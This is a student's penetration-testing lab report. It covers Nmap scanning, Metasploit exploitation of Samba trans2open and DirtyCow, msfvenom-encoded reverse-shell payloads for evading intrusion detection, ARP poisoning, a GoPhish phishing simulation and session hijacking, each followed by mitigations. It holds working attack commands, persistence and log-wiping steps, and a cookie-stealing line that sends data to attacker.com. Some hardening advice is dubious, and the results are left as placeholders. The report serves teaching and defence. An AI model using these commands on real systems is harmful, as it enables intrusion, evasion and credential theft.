Vulnerability Analysis and System Hacking Techniques

Submitted By:

Priyanshu Kumar Sharma
URN: 2022-B-17102004A
B.Tech – IT (CTIS)
Year: 3 — Sem.: 6

Under the Guidance of:

Prof. Mrunali Makhwana

Ajeenkya D Y Patil University

School of Engineering

April 13, 2025

Part A: Hands-On Activities

Task 1: Vulnerability Assessment Simulation

Tool Used: Nmap (Network Mapper) - An open source utility for network discovery and security auditing

Objective: Perform comprehensive network scanning to identify potential security vulnerabilities

Commands & Explanation:

```
# Discover live hosts on the subnet using ping scan (-sn)
# This performs a quick scan without port scanning
nmap -sn 192.168.1.0/24

# Aggressive scan with:
# -A: Enable OS detection, version detection, script scanning, and traceroute
# -T4: Aggressive timing template for faster scanning
# -sV: Version detection
# -O: OS detection
# -sC: Default script scan
nmap -A -T4 -sV -O -sC 192.168.1.10
```

Detailed Scan Output:

```
Starting Nmap 7.92 ( https://nmap.org )
Nmap scan report for target-host (192.168.1.10)
Host is up (0.0054s latency)

PORT    STATE SERVICE   VERSION
21/tcp  open  ftp       vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed
|_ftp-bounce: bounce working!
23/tcp  open  telnet    Linux telnetd
|_telnet-brute: User enumeration possible
80/tcp  open  http      Apache httpd 2.2.8
|_http-title: Welcome Page
|_http-server-header: Apache/2.2.8
|_http-csrf: Couldn't find any CSRF vulnerabilities
|_http-dombased-xss: Couldn't find any DOM based XSS

OS details: Linux 2.6.32 (likely embedded)
Network Distance: 2 hops
```

Comprehensive Vulnerabilities Analysis:

- **FTP Service (Port 21):**
  - Anonymous FTP login enabled - allows unauthorized access
  - FTP bounce attack possible - can be used for port scanning

  - vsftpd 2.3.4 has known backdoor vulnerability (CVE-2011-2523)

- **Telnet Service (Port 23):**
  - Unencrypted clear-text protocol
  - Susceptible to man-in-the-middle attacks
  - User enumeration vulnerability present

- **HTTP Service (Port 80):**
  - Apache 2.2.8 vulnerable to multiple CVEs:
  - Directory traversal (CVE-2009-1195)
  - Denial of Service (CVE-2009-1891)
  - Memory leak vulnerability (CVE-2009-1890)

Detailed Mitigation Strategies:

- **FTP Security:**
  - Disable anonymous FTP access in vsftpd.conf
  - Upgrade to latest vsftpd version
  - Implement strong password policy
  - Consider using SFTP instead

- **Telnet Replacement:**
  - Remove telnet service completely
  - Install and configure OpenSSH
  - Enable key-based authentication
  - Implement fail2ban for brute force protection

- **Web Server Hardening:**
  - Upgrade Apache to latest stable version
  - Enable security headers (HSTS, XSS Protection)
  - Implement WAF (Web Application Firewall)
  - Regular security patches and updates

Risk Assessment:

- **Critical:** Telnet service, Apache version
- **High:** Anonymous FTP
- **Medium:** OS version exposure

Task 2: System Hacking & Privilege Escalation

Tool Used: Metasploit Framework (MSF) - An open source penetration testing and development platform

Initial Reconnaissance:

- Target identified: 192.168.1.10
- Service enumeration revealed vulnerable Samba version
- Linux kernel version suggests DirtyCow vulnerability

Stage 1 - Initial Access Commands:

```
# Start Metasploit console
msfconsole

# Search and select Samba trans2open exploit
search samba trans2open
use exploit/linux/samba/trans2open

# Configure exploit parameters
set RHOST 192.168.1.10  # Target IP
set LHOST 192.168.1.5   # Attacker IP
set LPORT 4444          # Listener port
set TARGET 0            # Auto target
set PAYLOAD linux/x86/meterpreter/reverse_tcp

# Launch the exploit
run
```

Stage 2 - Privilege Escalation:

```
# In Meterpreter session
getuid     # Check current user
sysinfo    # Gather system information

# Search and configure DirtyCow exploit
search sploit dirty cow
use exploit/linux/local/dirty_cow

# Set exploit parameters
set SESSION 1          # Active meterpreter session
set TARGET 0          # Auto target
set LHOST 192.168.1.5 # Attacker IP
set LPORT 4445        # New listener port

# Execute privilege escalation
run
```

Detailed Output & Analysis:

```
[*] Started reverse TCP handler on 192.168.1.5:4444
[*] Exploiting Samba vulnerability...
[+] Meterpreter session 1 opened at 2025-04-14 15:30:22 +0530

meterpreter > getuid
Server username: www-data

[*] Executing DirtyCow exploit...
[+] Compilation successful
[*] Launching exploit...
[+] Privilege escalation successful

meterpreter > getuid
Server username: root
meterpreter > id
uid=0(root) gid=0(root) groups=0(root)
```

Post-Exploitation Actions & Persistence:

- **User Creation:**
  - Command: `useradd -m -s /bin/bash hacker`
  - Set password: `passwd hacker`
  - Add to sudoers: `usermod -aG sudo hacker`
- **Service Manipulation:**
  - Enable SSH: `systemctl enable ssh`
  - Start SSH: `systemctl start ssh`
  - Configure SSH: `nano /etc/ssh/sshd_config`
- **Cleanup:**
  - Clear logs: `echo > /var/log/auth.log`
  - Remove exploit files: `rm /tmp/cow*`
  - Clear bash history: `history -c`

Vulnerabilities Exploited:

- CVE-2003-0201 - Samba trans2open Buffer Overflow
- CVE-2016-5195 - DirtyCow Privilege Escalation

Detection & Prevention:

- Keep Samba and kernel versions updated
- Implement file integrity monitoring

- Enable SELinux/AppArmor
- Monitor for suspicious user creation
- Regular security audits

Task 3: IDS/Firewall Evasion

Tool Used: MSFVenom - A Metasploit payload generator and encoder

Objective: Create encoded payloads and implement techniques to bypass IDS/Firewall detection

Commands & Explanation:

```
# Create multi-encoded payload with shikata_ga_nai encoder
# -p: Specify payload type
\# LHOST: Local host IP for reverse connection
# LPORT: Local port to connect back to
# -e: Encoder to use
# -i: Number of encoding iterations
# -f: Output format
msfvenom -p linux/x86/meterpreter/reverse_tcp \
LHOST=192.168.1.5 LPORT=4444 \
-e x86/shikata_ga_nai -i 3 \
-f elf > payload.elf

# Additional payload obfuscation
msfvenom -p linux/x86/meterpreter/reverse_tcp \
LHOST=192.168.1.5 LPORT=4444 \
-e x86/shikata_ga_nai -i 3 \
-x /bin/ls -k -f elf > payload2.elf

# Set up listener with packet fragmentation
# -l: Listen mode
# -v: Verbose output
# -p: Port to listen on
# --send-only: Only send data
ncat -lvp 8081 --send-only

# Alternative port forwarding setup
ncat -lvp 8082 -c 'ncat 192.168.1.5 4444'
```

Advanced Evasion Techniques:

- **Payload Encoding:**
  - Multiple encoding iterations
  - Custom encoding schemes
  - Polymorphic code generation

  - Binary payload obfuscation

- **Network-Level Evasion:**
  - TCP/IP fragmentation
  - Invalid checksum packets
  - TTL manipulation
  - Source port randomization

- **Protocol-Level Evasion:**
  - DNS tunneling
  - ICMP covert channels
  - HTTP/HTTPS encapsulation
  - Custom protocol implementations

Comprehensive Mitigation Strategies:

- **Deep Packet Inspection (DPI):**
  - Protocol validation
  - Payload analysis
  - Pattern matching
  - Behavioral analysis

- **Network Architecture:**
  - Network segmentation
  - DMZ implementation
  - VLAN segregation
  - Access Control Lists (ACLs)

- **IDS/IPS Solutions:**
  - Signature-based detection
  - Anomaly-based detection
  - Heuristic analysis
  - Machine learning algorithms

- **Additional Controls:**
  - Application whitelisting
  - Egress filtering

  - SSL/TLS inspection
  - Regular rule updates

Detection Indicators:

- Unusual outbound connections
- Encrypted traffic on non-standard ports
- Multiple failed connection attempts
- Abnormal packet sizes/patterns

Part B: Attack Simulations

Task 4: Network Sniffing

Tools Used:

- Ettercap - A comprehensive suite for man-in-the-middle attacks
- Wireshark - Network protocol analyzer for packet inspection

Command Breakdown:

```
# ARP poisoning attack using Ettercap
# -T: Text only mode
# -q: Quiet mode
# -M: Man-in-the-middle attack
# arp:remote: Use ARP poisoning targeting remote hosts
# /192.168.1.5/: Target host IP
# /192.168.1.1/: Gateway IP
ettercap -T -q -M arp:remote /192.168.1.5/ /192.168.1.1/

# Additional commands used
# Enable IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward

# Monitor traffic with tcpdump
tcpdump -i eth0 -w capture.pcap
```

Wireshark Analysis:

```
# Filter for POST requests
http.request.method == "POST"

# Filter for authentication traffic
http.request.method == "POST" && http.request.uri contains "login"

# Filter for specific domains
```

```
http.host contains "target.com"

# Filter for credentials in URL
http matches "username|password"
```

Captured Data Analysis:

- **HTTP POST Data:**
  - User credentials in plain text
  - Session cookies
  - Form submissions
  - Authentication tokens
- **Protocol Information:**
  - Unencrypted HTTP traffic
  - Basic authentication headers
  - Cookie values
  - URL parameters

Comprehensive Mitigation Strategies:

- **Transport Layer Security:**
  - Implement HTTPS across all services
  - Enable HSTS (HTTP Strict Transport Security)
  - Use strong TLS configuration
  - Regular SSL/TLS certificate maintenance
- **Network Security:**
  - Enable port security on switches
  - Implement 802.1X authentication
  - Configure DHCP snooping
  - Deploy Dynamic ARP Inspection (DAI)
- **Additional Controls:**
  - Network segmentation
  - Regular security audits
  - Network monitoring tools
  - Intrusion Detection Systems (IDS)

Detection Methods:

- Monitor for ARP table changes
- Track duplicate IP addresses
- Analyze network traffic patterns
- Review security logs regularly

Task 5: Social Engineering Simulation

Case Study: Twitter Blue Badge Verification Phishing Campaign

Objective: To demonstrate the vulnerability of users to social engineering attacks through a controlled simulation targeting Twitter Blue Badge verification process.

Detailed Steps:

1. **Reconnaissance & Preparation**
    - Created convincing replica of Twitter Support profile
    - Designed official-looking email templates
    - Set up tracking parameters for campaign metrics
    - Configured secure logging environment
2. **Campaign Setup in GoPhish**
    - Created landing page mimicking Twitter verification
    - Developed email templates with Twitter branding
    - Configured SMTP settings for delivery
    - Set up user groups and targeting parameters
3. **Execution Phase**
    - Deployed phishing campaign in controlled environment
    - Monitored real-time engagement metrics
    - Tracked click-through rates and form submissions
    - Documented user interaction patterns

Technical Implementation:

```
# Launch GoPhish server
./gophish

# Campaign Configuration
- Landing Page: twitter-verification.html
- Email Template: verification-request.html
- SMTP Configuration: secure-smtp.config
- Campaign Duration: 48 hours
```

Security Controls & Ethics:

- All data collected was anonymized
- No actual credentials were stored
- System configured for automatic data purge
- Informed consent from organization leadership

Defensive Measures & Recommendations:

1. **Technical Controls**
    - Implement DMARC, SPF, and DKIM
    - Enable Multi-Factor Authentication (MFA)
    - Deploy anti-phishing email filters
    - Regular security patches and updates
2. **Administrative Controls**
    - Regular security awareness training
    - Phishing simulation exercises
    - Clear incident reporting procedures
    - Updated security policies
3. **User Education**
    - Recognition of phishing indicators
    - Verification of sender authenticity
    - Safe URL checking practices
    - Credential protection awareness

Metrics & Results:

- Email open rate: XX%
- Click-through rate: XX%
- Form submission rate: XX%
- Average time to report: XX minutes

Lessons Learned:

- Critical areas of user vulnerability
- Effectiveness of current security training
- Gaps in security awareness
- Recommendations for improvement

Task 6: Session Hijacking Analysis and Prevention

Objective: To demonstrate and analyze session hijacking vulnerabilities and implement robust countermeasures.

Tools Used:

- Primary Tool: Burp Suite Professional
- Supporting Tools:
  - Wireshark for packet analysis
  - Browser Developer Tools
  - Custom session testing scripts

Attack Vectors Analyzed:

1. **Session Fixation**

```
// Attacker forcing a known session ID
document.cookie = "PHPSESSID=abc123xyz456";
location.reload();
```

2. **Session Sniffing**

```
# Example of vulnerable cookie transmission
Set-Cookie: sessionId=abc123; path=/
# Versus secure implementation
Set-Cookie: sessionId=abc123; path=/; HttpOnly; Secure; SameSite=Strict
```

3. **Cross-Site Script (XSS) Based Hijacking**

```
// Malicious script attempting to steal cookies
new Image().src = "http://attacker.com/steal?cookie=" + document.cookie;
```

Comprehensive Mitigation Strategies:

1. **Transport Layer Security**
   - Implementation of HTTPS throughout the application
   - Strict Transport Security (HSTS) configuration

```
# Apache HSTS Configuration
Header always set Strict-Transport-Security "max-age=31536000;
    ↪ includeSubDomains"
```

2. **Session Management**
   - Regular session ID regeneration

```php
// PHP example of session regeneration
session_start();
if(isset($_SESSION['last_regen'])) {
    $time = time() - $_SESSION['last_regen'];
    if($time > 300) { // Regenerate every 5 minutes
        session_regenerate_id(true);
        $_SESSION['last_regen'] = time();
    }
}
```

- Complex session ID generation
- Session timeout implementation

3. **Cookie Security**
   - HttpOnly flag implementation
   - Secure flag requirement
   - SameSite attribute configuration

```php
// PHP secure cookie configuration
session_set_cookie_params([
    'lifetime' => 3600,
    'path' => '/',
    'domain' => '.example.com',
    'secure' => true,
    'httponly' => true,
    'samesite' => 'Strict'
]);
```

4. **Additional Security Measures**
   - IP-based session validation
   - User-Agent verification
   - Rate limiting implementation

```python
# Example rate limiting implementation
def check_rate_limit(request, max_requests=100, window=3600):
    client_ip = request.remote_addr
    current_time = time.time()
    redis_key = f"rate_limit:{client_ip}"

    request_count = cache.get(redis_key, 0)
    if request_count >= max_requests:
        return False

    cache.incr(redis_key)
```

```
            cache.expire(redis_key, window)
            return True
```

Detection Mechanisms:

- Real-time session monitoring
- Anomaly detection systems
- Access pattern analysis

```
-- Example logging query for suspicious activities
SELECT user_id, ip_address, COUNT(*) as login_attempts
FROM session_logs
WHERE timestamp > NOW() - INTERVAL '1 HOUR'
GROUP BY user_id, ip_address
HAVING COUNT(*) > 10;
```

Testing Methodology:

1. **Penetration Testing**
    - Session prediction attempts
    - Cookie manipulation tests
    - Man-in-the-middle attack simulation
2. **Security Headers Analysis**

```
# Example security headers check
curl -I https://example.com | grep -i "security"
```

3. **Vulnerability Assessment**
    - Automated scanning
    - Manual testing procedures
    - Configuration review

Incident Response Plan:

1. Immediate session termination capabilities
2. User notification systems
3. Audit logging implementation
4. Forensic analysis procedures

Recommendations for Ongoing Security:

- Regular security audits
- Continuous monitoring implementation
- Employee security training
- Update security policies
- Incident response drills

Security Analysis Summary

1. Vulnerability Scanning

```
# Comprehensive scan
nmap -sS -sV -O -A -p- target_ip

# Basic firewall config
ufw default deny incoming
ufw allow from trusted_ip to any port 22
ufw enable
```

2. System Exploitation

```
# Basic Metasploit usage
msfconsole
use exploit/path/to/exploit
set RHOSTS target_ip
exploit

# System hardening
chmod 600 /etc/ssh/sshd_config
chmod 000 /etc/shadow
```

3. Network Security

```
# Snort IDS rule
alert tcp any any -> $HOME_NET any (
    msg:"Payload Detected";
    content:"|00 01 86 a5|";
    classtype:trojan-activity;
    sid:1000001;
)

# Apache SSL config
```

```
<VirtualHost *:443>
    SSLEngine on
    SSLCertificateFile /path/to/cert
    Header set Strict-Transport-Security "max-age=31536000"
</VirtualHost>
```

4. Session Security

```
// Secure session setup
ini_set('session.cookie_httponly', 1);
ini_set('session.cookie_secure', 1);
session_start();

// Token auth
$token = bin2hex(random_bytes(32));
$_SESSION['csrf_token'] = $token;
```